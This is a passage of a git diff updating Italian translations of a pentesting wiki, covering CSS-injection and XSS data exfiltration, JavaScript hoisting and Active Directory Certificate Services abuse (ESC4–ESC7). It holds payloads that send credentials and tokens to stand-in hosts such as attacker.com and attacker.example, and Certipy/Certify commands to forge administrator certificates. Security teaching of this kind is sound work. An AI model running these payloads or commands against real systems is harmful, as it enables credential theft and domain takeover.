nascosto, causando il caricamento dell'immagine di sfondo: ```css input[name="csrf"][value^="csrF"] ~ * { background-image: url(https://attacker.com/exfil/csrF); } ``` -Un esempio pratico dello sfruttamento di questa tecnica è dettagliato nello snippet di codice fornito. Puoi vederlo [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). +Un esempio pratico di sfruttamento di questa tecnica è dettagliato nello snippet di codice fornito. Puoi vederlo [qui](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). #### Prerequisiti per CSS Injection -Perché la tecnica CSS Injection sia efficace, devono essere soddisfatte determinate condizioni: +Perché la tecnica CSS Injection sia efficace, devono essere soddisfatte alcune condizioni: -1. **Payload Length**: Il vettore di CSS injection deve supportare payloads sufficientemente lunghi per ospitare i crafted selectors. -2. **CSS Re-evaluation**: Devi avere la possibilità di effettuare il framing della pagina, necessario per innescare la rivalutazione del CSS con payloads appena generati. -3. **External Resources**: La tecnica presuppone la capacità di utilizzare immagini ospitate esternamente. Questo potrebbe essere limitato dalla Content Security Policy (CSP) del sito. +1. **Payload Length**: Il vettore di CSS injection deve supportare payload sufficientemente lunghi per ospitare i selettori creati. +2. **CSS Re-evaluation**: Dovresti avere la possibilità di mettere la pagina in un frame, necessario per innescare la rivalutazione del CSS con payload appena generati. +3. **External Resources**: La tecnica presuppone la possibilità di usare immagini ospitate esternamente. Questo può essere limitato dalla Content Security Policy (CSP) del sito. ### Blind Attribute Selector -As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.\ -It's also possible to use those selectors to extract information from several block of the same type like in: +Come [**spiegato in questo post**](https://portswigger.net/research/blind-css-exfiltration), è possibile combinare i selettori **`:has`** e **`:not`** per identificare contenuti anche da elementi non visibili. Questo è molto utile quando non si ha idea di cosa ci sia nella pagina web che carica la CSS injection.\ +È anche possibile usare quei selettori per estrarre informazioni da più blocchi dello stesso tipo, come in: ```html ``` -### Cattura delle password autocompilate +### Cattura delle password tramite compilazione automatica ```javascript Username:
@@ -1419,11 +1418,11 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -Quando vengono inseriti dati nel campo password, il username e la password vengono inviati al attackers server; anche se il client seleziona una password salvata e non scrive nulla, le credenziali verranno ex-filtrated. +Quando viene inserito qualsiasi dato nel campo password, lo username e la password vengono inviati all'attacker's server; anche se il client seleziona una saved password e non scrive nulla, le credentials verranno ex-filtrated. ### Hijack form handlers to exfiltrate credentials (const shadowing) -Se un handler critico (e.g., `function DoLogin(){...}`) è dichiarato più avanti nella pagina, e il tuo payload viene eseguito prima (e.g., via un inline JS-in-JS sink), definisci prima un `const` con lo stesso nome per anticipare e bloccare l'handler. Dichiarazioni di funzione successive non possono riassegnare un nome `const`, lasciando il tuo hook al controllo: +Se un handler critico (es., `function DoLogin(){...}`) viene dichiarato più avanti nella pagina, e il tuo payload viene eseguito prima (es., tramite un inline JS-in-JS sink), definisci prima un `const` con lo stesso nome per anticipare e bloccare il handler. Dichiarazioni di funzione successive non possono riassegnare un nome `const`, lasciando il tuo hook in controllo: ```javascript const DoLogin = () => { const pwd = Trim(FormInput.InputPassword.value); @@ -1431,21 +1430,21 @@ const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd)); }; ``` -Note -- Questo si basa sull'ordine di esecuzione: la tua injection deve eseguire prima della dichiarazione legittima. -- Se il tuo payload è incapsulato in `eval(...)`, i binding `const/let` non diventeranno globali. Usa la tecnica di injection dinamica con ` ``` -### Abuso dei Service Workers +### Abusing Service Workers {{#ref}} abusing-service-workers.md {{#endref}} -### Accesso allo Shadow DOM +### Accessing Shadow DOM {{#ref}} @@ -1489,7 +1488,7 @@ shadow-dom.md https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt {{#endref}} -### Payloads per Blind XSS +### Blind XSS payloads Puoi anche usare: [https://xsshunter.com/](https://xsshunter.com) ```html @@ -1556,9 +1555,9 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln {{constructor.constructor("import('{SERVER}/script.js')")()}} ``` -### Regex - Accedere a contenuti nascosti +### Regex - Accesso ai contenuti nascosti -From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) it's possibile apprendere che anche se alcuni valori scompaiono dal JS, è comunque possibile trovarli negli attributi JS in oggetti diversi. Per esempio, un input di una REGEX è ancora possibile trovarlo dopo che il valore dell'input della regex è stato rimosso: +Da [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) è possibile apprendere che, anche se alcuni valori scompaiono dal JS, è comunque possibile trovarli negli attributi JS di diversi oggetti. Ad esempio, un input di una REGEX può ancora essere trovato anche dopo che il valore dell'input della REGEX è stato rimosso: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1575,7 +1574,7 @@ console.log( document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"] ) ``` -### Brute-Force List +### Lista Brute-Force {{#ref}} @@ -1586,7 +1585,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt ### XSS in Markdown -Puoi iniettare codice Markdown che verrà renderizzato? Forse puoi ottenere XSS! Controlla: +È possibile iniettare codice Markdown che verrà renderizzato? Forse puoi ottenere XSS! Controlla: {{#ref}} @@ -1595,24 +1594,24 @@ xss-in-markdown.md ### XSS a SSRF -Hai trovato XSS su un **sito che usa caching**? Prova a **trasformarlo in SSRF** tramite Edge Side Include Injection con questo payload: +Hai XSS su un sito che usa caching? Prova a trasformarlo in SSRF tramite Edge Side Include Injection con questo payload: ```python ``` -Usalo per eludere le restrizioni sui cookie, i filtri XSS e molto altro!\ +Usalo per bypassare le restrizioni dei cookie, i filtri XSS e molto altro!\ Maggiori informazioni su questa tecnica qui: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). ### XSS in PDF creato dinamicamente -Se una pagina web crea un PDF usando input controllati dall'utente, puoi provare a **ingannare il bot** che crea il PDF per fargli **eseguire codice JS arbitrario**.\ -Quindi, se il **PDF creator bot trova** qualche tipo di **tag HTML**, li **interpreta**, e puoi **abusare** di questo comportamento per causare un **Server XSS**. +Se una pagina web sta creando un PDF usando input controllato dall'utente, puoi provare a **ingannare il bot** che crea il PDF affinché **esegua codice JS arbitrario**.\ +Quindi, se il **PDF creator bot finds** qualche tipo di **tag HTML**, li interpreterà, e puoi **abusare** di questo comportamento per causare una **Server XSS**. {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} -Se non puoi iniettare tag HTML potrebbe valere la pena provare a **iniettare dati PDF**: +Se non puoi iniettare tag HTML, potrebbe valere la pena provare a **iniettare dati PDF**: {{#ref}} @@ -1621,9 +1620,9 @@ pdf-injection.md ### XSS in Amp4Email -AMP, progettato per accelerare le prestazioni delle pagine web su dispositivi mobili, incorpora tag HTML integrati da JavaScript per garantire funzionalità con un'enfasi su velocità e sicurezza. Supporta una gamma di componenti per varie funzionalità, accessibili tramite [AMP components](https://amp.dev/documentation/components/?format=websites). +AMP, progettato per accelerare le prestazioni delle pagine web sui dispositivi mobili, incorpora tag HTML integrati da JavaScript per garantire funzionalità con un'enfasi su velocità e sicurezza. Supporta una serie di componenti per varie funzionalità, accessibili tramite [AMP components](https://amp.dev/documentation/components/?format=websites). -Il formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende specifici componenti AMP alle email, permettendo ai destinatari di interagire con il contenuto direttamente all'interno delle loro email. +The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format estende componenti AMP specifici alle email, permettendo ai destinatari di interagire con il contenuto direttamente all'interno delle loro email. Esempio [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). @@ -1685,9 +1684,9 @@ id="foo"/> ```xml ``` -Trova **più payloads SVG su** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +Trova **più payload SVG su** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) -## Trucchi JS vari e informazioni rilevanti +## Varie tecniche JS e informazioni rilevanti {{#ref}} diff --git a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md index 341305b58..1b5306d0f 100644 --- a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md +++ b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md @@ -4,29 +4,29 @@ ## Informazioni di base -Nel linguaggio JavaScript esiste un meccanismo chiamato **Hoisting** in cui le dichiarazioni di variabili, funzioni, classi o import vengono concettualmente sollevate all'inizio del loro ambito prima che il codice venga eseguito. Questo processo è eseguito automaticamente dal motore JavaScript, che analizza lo script in più passaggi. +Nel linguaggio JavaScript esiste un meccanismo noto come **Hoisting** per cui le dichiarazioni di variabili, funzioni, classi o import vengono concettualmente spostate all'inizio del loro scope prima che il codice venga eseguito. Questo processo è eseguito automaticamente dal motore JavaScript, che analizza lo script in più passaggi. -Durante il primo passaggio, il motore esegue il parsing del codice per verificare errori di sintassi e lo trasforma in un albero di sintassi astratta. Questa fase include lo hoisting, un processo in cui alcune dichiarazioni vengono spostate all'inizio del contesto di esecuzione. Se la fase di parsing ha successo, indicando l'assenza di errori di sintassi, l'esecuzione dello script procede. +Durante il primo passaggio, il motore esegue il parsing del codice per verificare la presenza di errori di sintassi e lo trasforma in un albero di sintassi astratto. Questa fase include lo hoisting, un processo in cui alcune dichiarazioni vengono spostate in cima al contesto di esecuzione. Se la fase di parsing ha successo, cioè non rileva errori di sintassi, l'esecuzione dello script procede. -È cruciale comprendere che: +È fondamentale capire che: -1. Lo script deve essere privo di errori di sintassi perché l'esecuzione abbia luogo. Le regole di sintassi devono essere rispettate rigorosamente. +1. Lo script deve essere privo di errori di sintassi perché l'esecuzione abbia luogo. Le regole sintattiche devono essere rispettate rigorosamente. 2. La posizione del codice all'interno dello script influisce sull'esecuzione a causa dello hoisting, anche se il codice eseguito potrebbe differire dalla sua rappresentazione testuale. #### Tipi di Hoisting Secondo MDN, ci sono quattro tipi distinti di hoisting in JavaScript: -1. **Value Hoisting**: Permette di usare il valore di una variabile all'interno del suo ambito prima della sua riga di dichiarazione. -2. **Declaration Hoisting**: Permette di riferirsi a una variabile all'interno del suo ambito prima della sua dichiarazione senza causare un `ReferenceError`, ma il valore della variabile sarà `undefined`. -3. Questo tipo modifica il comportamento all'interno del suo ambito perché la dichiarazione della variabile avviene prima della sua effettiva riga di dichiarazione. +1. **Value Hoisting**: Permette di utilizzare il valore di una variabile all'interno del suo scope prima della sua linea di dichiarazione. +2. **Declaration Hoisting**: Permette di riferirsi a una variabile nel suo scope prima della dichiarazione senza causare un `ReferenceError`, ma il valore della variabile sarà `undefined`. +3. Questo tipo altera il comportamento all'interno del suo scope a causa della dichiarazione della variabile prima della sua reale linea di dichiarazione. 4. Gli effetti collaterali della dichiarazione si verificano prima che il resto del codice che la contiene venga valutato. -Nello specifico, le dichiarazioni di funzione mostrano il comportamento di hoisting di tipo 1. La keyword `var` mostra il comportamento di tipo 2. Le dichiarazioni lessicali, che includono `let`, `const` e `class`, mostrano il comportamento di tipo 3. Infine, le istruzioni `import` sono uniche in quanto vengono hoisted con i comportamenti sia di tipo 1 sia di tipo 4. +In dettaglio, le dichiarazioni di function mostrano il comportamento di hoisting di tipo 1. La keyword `var` dimostra il comportamento di tipo 2. Le dichiarazioni lessicali, che includono `let`, `const` e `class`, mostrano il comportamento di tipo 3. Infine, le istruzioni `import` sono uniche in quanto vengono hoisted con comportamenti sia di tipo 1 sia di tipo 4. ## Scenari -Pertanto, se ti trovi in scenari in cui puoi **Inject JS code after an undeclared object** is used, potresti **fix the syntax** dichiarandolo (in modo che il tuo codice venga eseguito invece di generare un errore): +Pertanto, se hai scenari in cui puoi **Inject JS code after an undeclared object** (quando un oggetto non dichiarato viene usato), potresti **correggere la sintassi** dichiarandolo (in modo che il tuo codice venga eseguito invece di generare un errore): ```javascript // The function vulnerableFunction is not defined vulnerableFunction('test', ''); @@ -131,7 +131,7 @@ trigger() ``` ### Anticipare dichiarazioni successive bloccando un nome con const -Se puoi eseguire del codice prima che una `function foo(){...}` di livello top venga parsata, dichiarare un binding lessicale con lo stesso nome (es., `const foo = ...`) impedirà alla successiva dichiarazione di funzione di riassegnare quell'identificatore. Questo può essere sfruttato in RXSS per dirottare handler critici definiti più avanti nella pagina: +Se puoi eseguire codice prima che una top-level `function foo(){...}` venga parsata, dichiarare un binding lessicale con lo stesso nome (es., `const foo = ...`) impedirà alla successiva dichiarazione di funzione di riassegnare quell'identificatore. Questo può essere abusato in RXSS per hijackare handler critici definiti più avanti nella pagina: ```javascript // Malicious code runs first (e.g., earlier inline
-ESC4 è quando un utente ha privilegi di scrittura su un modello di certificato. Questo può, per esempio, essere abusato per sovrascrivere la configurazione del modello di certificato e rendere il template vulnerabile a ESC1. +ESC4 si verifica quando un utente ha privilegi di scrittura su un modello di certificato. Questo può, ad esempio, essere abusato per sovrascrivere la configurazione del modello di certificato e rendere il modello vulnerabile a ESC1. -Come possiamo vedere nel percorso sopra, solo `JOHNPC` ha questi privilegi, ma il nostro utente `JOHN` ha il nuovo `AddKeyCredentialLink` edge verso `JOHNPC`. Poiché questa tecnica è legata ai certificati, ho implementato anche questo attacco, noto come [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Ecco una piccola anteprima del comando `shadow auto` di Certipy per recuperare l'NT hash della vittima. +Come possiamo vedere nel percorso sopra, solo `JOHNPC` ha questi privilegi, ma il nostro utente `JOHN` ha il nuovo `AddKeyCredentialLink` edge verso `JOHNPC`. Poiché questa tecnica è correlata ai certificati, ho implementato anche questo attacco, noto come [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Ecco una piccola anteprima del comando `shadow auto` di Certipy per recuperare l'NT hash della vittima. ```bash certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc' ``` -**Certipy** può sovrascrivere la configurazione di un modello di certificato con un singolo comando. Per **impostazione predefinita**, Certipy **sovrascriverà** la configurazione per renderla **vulnerabile a ESC1**. Possiamo anche specificare il **`-save-old` parametro per salvare la vecchia configurazione**, che sarà utile per **ripristinare** la configurazione dopo il nostro attacco. +**Certipy** può sovrascrivere la configurazione di un template di certificato con un singolo comando. Per **impostazione predefinita**, Certipy **sovrascriverà** la configurazione per renderla **vulnerabile a ESC1**. Possiamo anche specificare il **parametro `-save-old` per salvare la vecchia configurazione**, cosa che sarà utile per **ripristinare** la configurazione dopo il nostro attacco. ```bash # Make template vuln to ESC1 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old @@ -177,15 +177,15 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target # Restore config certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json ``` -## Vulnerable PKI Object Access Control - ESC5 +## Controllo di Accesso agli Oggetti PKI vulnerabile - ESC5 ### Spiegazione -La fitta rete di relazioni interconnesse basate su ACL, che include diversi oggetti oltre ai certificate templates e alla certificate authority, può influenzare la sicurezza dell'intero sistema AD CS. Questi oggetti, che possono incidere significativamente sulla sicurezza, comprendono: +La vasta rete di relazioni interconnesse basate su ACL, che include diversi oggetti oltre ai certificate templates e alla certificate authority, può influire sulla sicurezza dell'intero sistema AD CS. Questi oggetti, che possono avere un impatto significativo sulla sicurezza, comprendono: -- L'AD computer object del server CA, che può essere compromesso tramite meccanismi come S4U2Self o S4U2Proxy. -- Il server RPC/DCOM del server CA. -- Qualsiasi oggetto AD discendente o contenitore all'interno del percorso specifico del contenitore `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`. Questo percorso include, ma non si limita a, contenitori e oggetti come il Certificate Templates container, il Certification Authorities container, il NTAuthCertificates object e l'Enrollment Services Container. +- L'AD computer object del CA server, che può essere compromesso tramite meccanismi come S4U2Self o S4U2Proxy. +- L'RPC/DCOM server del CA server. +- Qualsiasi oggetto AD discendente o container all'interno del percorso di container specifico `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`. Questo percorso include, ma non è limitato a, container e oggetti quali il Certificate Templates container, Certification Authorities container, l'NTAuthCertificates object e l'Enrollment Services Container. La sicurezza del sistema PKI può essere compromessa se un attaccante con privilegi bassi riesce a prendere il controllo di uno qualsiasi di questi componenti critici. @@ -193,9 +193,9 @@ La sicurezza del sistema PKI può essere compromessa se un attaccante con privil ### Spiegazione -L'argomento trattato nel [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) tocca anche le implicazioni del flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, come descritto da Microsoft. Questa configurazione, quando attivata su una Certification Authority (CA), permette l'inclusione di **valori definiti dall'utente** nel **subject alternative name** per **qualsiasi richiesta**, incluse quelle costruite da Active Directory®. Di conseguenza, questa disposizione consente a un **intruso** di iscriversi tramite **qualsiasi template** configurato per l'**autenticazione** di dominio—specificamente quelli aperti all'iscrizione da parte di utenti **non privilegiati**, come il template User standard. Come risultato, può essere ottenuto un certificato che permette all'intruso di autenticarsi come domain administrator o **qualsiasi altra entità attiva** all'interno del dominio. +Il tema trattato nel [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) affronta anche le implicazioni del flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, come descritto da Microsoft. Questa configurazione, quando attivata su una Certification Authority (CA), permette l'inclusione di valori definiti dall'utente nel subject alternative name per qualsiasi richiesta, incluse quelle costruite da Active Directory®. Di conseguenza, ciò consente a un **intruso** di richiedere un certificato tramite **qualsiasi template** impostato per l'**autenticazione di dominio**—in particolare quelli aperti alla richiesta da parte di utenti **non privilegiati**, come il template User standard. Come risultato, è possibile ottenere un certificato che permette all'intruso di **autenticarsi** come amministratore di dominio o **qualsiasi altra entità attiva** all'interno del dominio. -**Nota**: L'approccio per aggiungere **alternative names** in una Certificate Signing Request (CSR), tramite l'argomento `-attrib "SAN:"` in `certreq.exe` (indicato come “Name Value Pairs”), presenta un **contrasto** rispetto alla strategia di sfruttamento delle SAN in ESC1. Qui, la distinzione risiede in **come le informazioni dell'account sono incapsulate**—all'interno di un attributo del certificato, piuttosto che in un'estensione. +Nota: L'approccio per aggiungere nomi alternativi in una Certificate Signing Request (CSR), tramite l'argomento `-attrib "SAN:"` in `certreq.exe` (indicato come “Name Value Pairs”), presenta un **contrasto** rispetto alla strategia di sfruttamento delle SAN in ESC1. Qui la differenza risiede in **come le informazioni dell'account sono incapsulate**—in un attributo del certificato, piuttosto che in un'estensione. ### Abuso @@ -203,11 +203,11 @@ Per verificare se l'impostazione è attivata, le organizzazioni possono utilizza ```bash certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags" ``` -Questa operazione impiega essenzialmente **accesso remoto al registro**, quindi un approccio alternativo potrebbe essere: +Questa operazione utilizza essenzialmente **remote registry access**, pertanto un approccio alternativo potrebbe essere: ```bash reg.exe query \\\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags ``` -Strumenti come [**Certify**](https://github.com/GhostPack/Certify) e [**Certipy**](https://github.com/ly4k/Certipy) sono in grado di rilevare questa misconfigurazione e sfruttarla: +Strumenti come [**Certify**](https://github.com/GhostPack/Certify) e [**Certipy**](https://github.com/ly4k/Certipy) sono in grado di rilevare questa errata configurazione e sfruttarla: ```bash # Detect vulnerabilities, including this one Certify.exe find @@ -216,7 +216,7 @@ Certify.exe find Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local ``` -Per modificare queste impostazioni, supponendo di possedere **domain administrative** rights o equivalenti, il seguente comando può essere eseguito da qualsiasi workstation: +Per modificare queste impostazioni, assumendo di possedere i diritti **di amministratore di dominio** o equivalenti, il seguente comando può essere eseguito da qualsiasi workstation: ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2 ``` @@ -225,16 +225,16 @@ Per disabilitare questa configurazione nel tuo ambiente, il flag può essere rim certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 ``` > [!WARNING] -> Dopo gli aggiornamenti di sicurezza di maggio 2022, i nuovi **certificates** conterranno una **security extension** che incorpora la **requester's `objectSid` property**. Per ESC1, questo SID è derivato dal SAN specificato. Tuttavia, per **ESC6**, il SID rispecchia il **requester's `objectSid`**, non il SAN.\ -> Per sfruttare ESC6, è essenziale che il sistema sia suscettibile a ESC10 (Weak Certificate Mappings), che prioritizza il **SAN rispetto alla nuova security extension**. +> Dopo gli aggiornamenti di sicurezza di maggio 2022, i **certificati** emessi di recente conterranno una **estensione di sicurezza** che incorpora la **proprietà `objectSid` del richiedente**. Per ESC1, questo SID è derivato dal SAN specificato. Tuttavia, per **ESC6**, il SID rispecchia il **`objectSid` del richiedente**, non il SAN.\ +> Per sfruttare ESC6, è essenziale che il sistema sia suscettibile a ESC10 (Weak Certificate Mappings), che dà priorità al **SAN rispetto alla nuova estensione di sicurezza**. -## Controllo degli Accessi della Certificate Authority vulnerabile - ESC7 +## Controllo di accesso vulnerabile dell'Autorità di Certificazione - ESC7 ### Attacco 1 #### Spiegazione -Il controllo degli accessi per una Certificate Authority è mantenuto tramite un insieme di permessi che governano le azioni della CA. Questi permessi possono essere visualizzati aprendo `certsrv.msc`, facendo clic con il tasto destro su una CA, selezionando Proprietà e poi andando alla scheda Sicurezza. Inoltre, i permessi possono essere enumerati usando il modulo PSPKI con comandi come: +Il controllo di accesso per un'autorità di certificazione è mantenuto tramite un insieme di autorizzazioni che regolano le azioni della CA. Queste autorizzazioni possono essere visualizzate avviando `certsrv.msc`, cliccando con il tasto destro su una CA, selezionando Proprietà e poi passando alla scheda Sicurezza. Inoltre, le autorizzazioni possono essere enumerate usando il modulo PSPKI con comandi come: ```bash Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access ``` @@ -242,11 +242,11 @@ This provides insights into the primary rights, namely **`ManageCA`** and **`Man #### Abuse -Avere i diritti **`ManageCA`** su una certificate authority permette al principal di manipolare le impostazioni da remoto usando PSPKI. Questo include l'attivazione/disattivazione del flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`** per consentire la specifica del SAN in qualsiasi template, un aspetto critico per la domain escalation. +Possedere i diritti **`ManageCA`** su una certificate authority permette al principal di manipolare le impostazioni da remoto usando PSPKI. Questo include l'attivazione/disattivazione del flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`** per consentire la specifica di SAN in qualsiasi template, un aspetto critico per l'escalation di dominio. -La semplificazione di questo processo è ottenibile tramite l'uso del cmdlet PSPKI **Enable-PolicyModuleFlag**, che consente modifiche senza interagire direttamente con la GUI. +La semplificazione di questo processo è ottenibile tramite l'uso del cmdlet PSPKI **Enable-PolicyModuleFlag**, permettendo modifiche senza interazione diretta con la GUI. -Il possesso dei diritti **`ManageCertificates`** facilita l'approvazione delle richieste in sospeso, eludendo di fatto il meccanismo di "CA certificate manager approval". +Il possesso dei diritti **`ManageCertificates`** facilita l'approvazione delle richieste in sospeso, aggirando efficacemente la protezione "CA certificate manager approval". Una combinazione dei moduli **Certify** e **PSPKI** può essere utilizzata per richiedere, approvare e scaricare un certificato: ```bash @@ -264,14 +264,14 @@ Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -R # Download the certificate Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336 ``` -### Attack 2 +### Attacco 2 #### Spiegazione > [!WARNING] -> Nell'**precedente attack** **`Manage CA`** i permessi sono stati usati per **abilitare** il flag **EDITF_ATTRIBUTESUBJECTALTNAME2** per eseguire l'**ESC6 attack**, ma questo non avrà alcun effetto finché il servizio CA (`CertSvc`) non viene riavviato. Quando un utente ha il diritto di accesso `Manage CA`, all'utente è anche consentito **riavviare il servizio**. Tuttavia, ciò **non significa che l'utente possa riavviare il servizio da remoto**. Inoltre, E**SC6 might not work out of the box** nella maggior parte degli ambienti aggiornati a causa degli aggiornamenti di sicurezza di maggio 2022. +> Nell'**attacco precedente** i permessi **`Manage CA`** sono stati usati per **abilitare** il flag **EDITF_ATTRIBUTESUBJECTALTNAME2** per eseguire l'**attacco ESC6**, ma ciò non avrà alcun effetto finché il servizio CA (`CertSvc`) non viene riavviato. Quando un utente ha il diritto di accesso `Manage CA`, gli è anche consentito **riavviare il servizio**. Tuttavia, questo **non significa che l'utente possa riavviare il servizio da remoto**. Inoltre, **ESC6 potrebbe non funzionare immediatamente** nella maggior parte degli ambienti patchati a causa degli aggiornamenti di sicurezza di maggio 2022. -Pertanto, qui viene presentato un altro attack. +Pertanto, qui viene presentato un altro attacco. Prerequisiti: @@ -279,7 +279,7 @@ Prerequisiti: - Permesso **`Manage Certificates`** (può essere concesso da **`ManageCA`**) - Il template di certificato **`SubCA`** deve essere **abilitato** (può essere abilitato da **`ManageCA`**) -La tecnica si basa sul fatto che gli utenti con i diritti di accesso `Manage CA` _e_ `Manage Certificates` possono **emettere richieste di certificato fallite**. Il template di certificato **`SubCA`** è **vulnerabile a ESC1**, ma **solo gli amministratori** possono iscriversi al template. Pertanto, un **utente** può **richiedere** di iscriversi al **`SubCA`** — richiesta che verrà **negata** — ma poi la certificazione può essere **emessa dal responsabile** successivamente. +La tecnica si basa sul fatto che utenti con i diritti di accesso `Manage CA` _e_ `Manage Certificates` possono **generare richieste di certificato fallite**. Il template di certificato **`SubCA`** è **vulnerabile a ESC1**, ma **solo gli amministratori** possono effettuare l'iscrizione al template. Quindi, un **utente** può **richiedere** l'iscrizione al **`SubCA`** - la quale verrà **rifiutata** - ma poi **verrà emessa dal responsabile successivamente**. #### Abuso @@ -290,7 +290,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully added officer 'John' on 'corp-DC-CA' ``` -Il template **`SubCA`** può essere **abilitato sulla CA** con il parametro `-enable-template`. Per impostazione predefinita, il template `SubCA` è abilitato. +Il **`SubCA`** template può essere **abilitato sulla CA** con il parametro `-enable-template`. Per impostazione predefinita, il template `SubCA` è abilitato. ```bash # List templates certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA' @@ -302,9 +302,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully enabled 'SubCA' on 'corp-DC-CA' ``` -Se abbiamo soddisfatto i prerequisiti per questo attacco, possiamo iniziare **richiedendo un certificato basato sul template `SubCA`**. +Se abbiamo soddisfatto i prerequisiti per questo attacco, possiamo iniziare **richiedendo un certificato basato sul modello `SubCA`**. -**Questa richiesta verrà rifiutata**, ma salveremo la chiave privata e annoteremo l'ID della richiesta. +**Questa richiesta sarà negat**a, ma salveremo la chiave privata e annoteremo l'ID della richiesta. ```bash certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -316,7 +316,7 @@ Would you like to save the private key? (y/N) y [*] Saved private key to 785.key [-] Failed to request certificate ``` -Con le nostre **`Manage CA` e `Manage Certificates`**, possiamo quindi **emettere la richiesta di certificato fallita** con il comando `ca` e il parametro `-issue-request `. +Con i nostri **`Manage CA` and `Manage Certificates`**, possiamo quindi **emettere la richiesta di certificato fallita** con il comando `ca` e il parametro `-issue-request `. ```bash certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -335,43 +335,43 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Loaded private key from '785.key' [*] Saved certificate and private key to 'administrator.pfx' ``` -### Attacco 3 – Abuso dell’estensione Manage Certificates (SetExtension) +### Attack 3 – Manage Certificates Extension Abuse (SetExtension) #### Spiegazione -Oltre agli abusi classici ESC7 (abilitare gli attributi EDITF o approvare richieste in sospeso), **Certify 2.0** ha rivelato una nuova primitiva che richiede solo il ruolo *Manage Certificates* (a.k.a. **Certificate Manager / Officer**) sulla Enterprise CA. +In aggiunta agli abusi classici di ESC7 (abilitare gli attributi EDITF o approvare richieste in sospeso), **Certify 2.0** ha rivelato una nuova primitive che richiede solo il ruolo *Manage Certificates* (noto anche come **Certificate Manager / Officer**) sull'Enterprise CA. -Il metodo RPC `ICertAdmin::SetExtension` può essere eseguito da qualsiasi principal che detenga *Manage Certificates*. Mentre il metodo veniva tradizionalmente usato dalle CA legittime per aggiornare le estensioni su richieste **in sospeso**, un attacker può abusarne per **apporre una estensione di certificato *non predefinita*** (ad esempio una *Certificate Issuance Policy* OID personalizzata come `1.1.1.1`) a una richiesta in attesa di approvazione. +Il metodo RPC `ICertAdmin::SetExtension` può essere eseguito da qualsiasi principale che possieda *Manage Certificates*. Mentre il metodo veniva tradizionalmente usato dalle CA legittime per aggiornare le estensioni su richieste **in sospeso**, un attaccante può abusarne per **applicare un'estensione di certificato *non di default*** (per esempio una Certificate Issuance Policy OID personalizzata come `1.1.1.1`) a una richiesta che è in attesa di approvazione. -Poiché il template target **non definisce un valore predefinito per quella estensione**, la CA NON sovrascriverà il valore controllato dall’attaccante quando la richiesta verrà infine 